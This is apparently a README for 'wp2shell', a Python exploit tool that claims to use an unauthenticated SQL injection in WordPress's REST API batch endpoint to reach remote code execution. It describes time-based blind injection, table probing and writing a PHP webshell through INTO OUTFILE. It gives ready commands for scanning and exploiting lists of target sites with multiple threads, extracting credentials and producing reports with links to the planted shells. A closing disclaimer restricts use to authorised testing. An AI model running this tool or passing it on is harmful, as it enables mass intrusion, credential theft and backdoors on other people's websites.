针对 WordPress REST API Batch 端点漏洞的完整发现与利用工具。
该工具利用了 WordPress REST API /wp-json/batch/v1 端点中的一个严重 SQL 注入漏洞,允许未认证攻击者在易受攻击的 WordPress 安装上执行任意 SQL 查询并实现远程代码执行(RCE)。
漏洞:CVE-2026-63030 / CVE-2026-60137
攻击向量:WordPress REST API Batch 端点(/wp-json/batch/v1)SQL 注入
影响:未认证 RCE
受影响版本:WordPress 6.4.x 及更早版本(具体版本待定)
SLEEP() payload 进行基于时间的盲 SQL 注入检测ORDER BY 探测确定表结构INTO OUTFILE 写入 PHP webshell(当允许时)# Clone the repository
git clone https://github.com/NULL200OK/wp2shell.git
cd wp2shell
# Install dependencies
pip install requests beautifulsoup4
# Create targets file
echo "https://target.com" > targets.txt
# Run discovery
python wp2shell.py targets.txt --scan --verbose
# Full exploitation
python wp2shell.py targets.txt --exploit --verbose
# Scan single target with verbose output
python wp2shell.py targets.txt --exploit --verbose
# Custom sleep time for slow servers
python wp2shell.py targets.txt --exploit --sleep 20 --verbose
# Multi-threaded scanning (20 threads)
python wp2shell.py targets.txt --exploit --threads 20 --verbose
# Skip shell writes (extract credentials only)
python wp2shell.py targets.txt --exploit --no-shell --verbose
# Force specific HTTP method
python wp2shell.py targets.txt --exploit --method POST --verbose
1- JSON 报告:包含漏洞状态和提取凭据的结构化数据
2- HTML 报告:美观、彩色编码的可视化界面,带有可点击的 shell URL
此工具仅用于教育和授权测试目的。 仅可用于您拥有或已获得明确测试许可的系统。 作者对滥用行为不承担任何责任。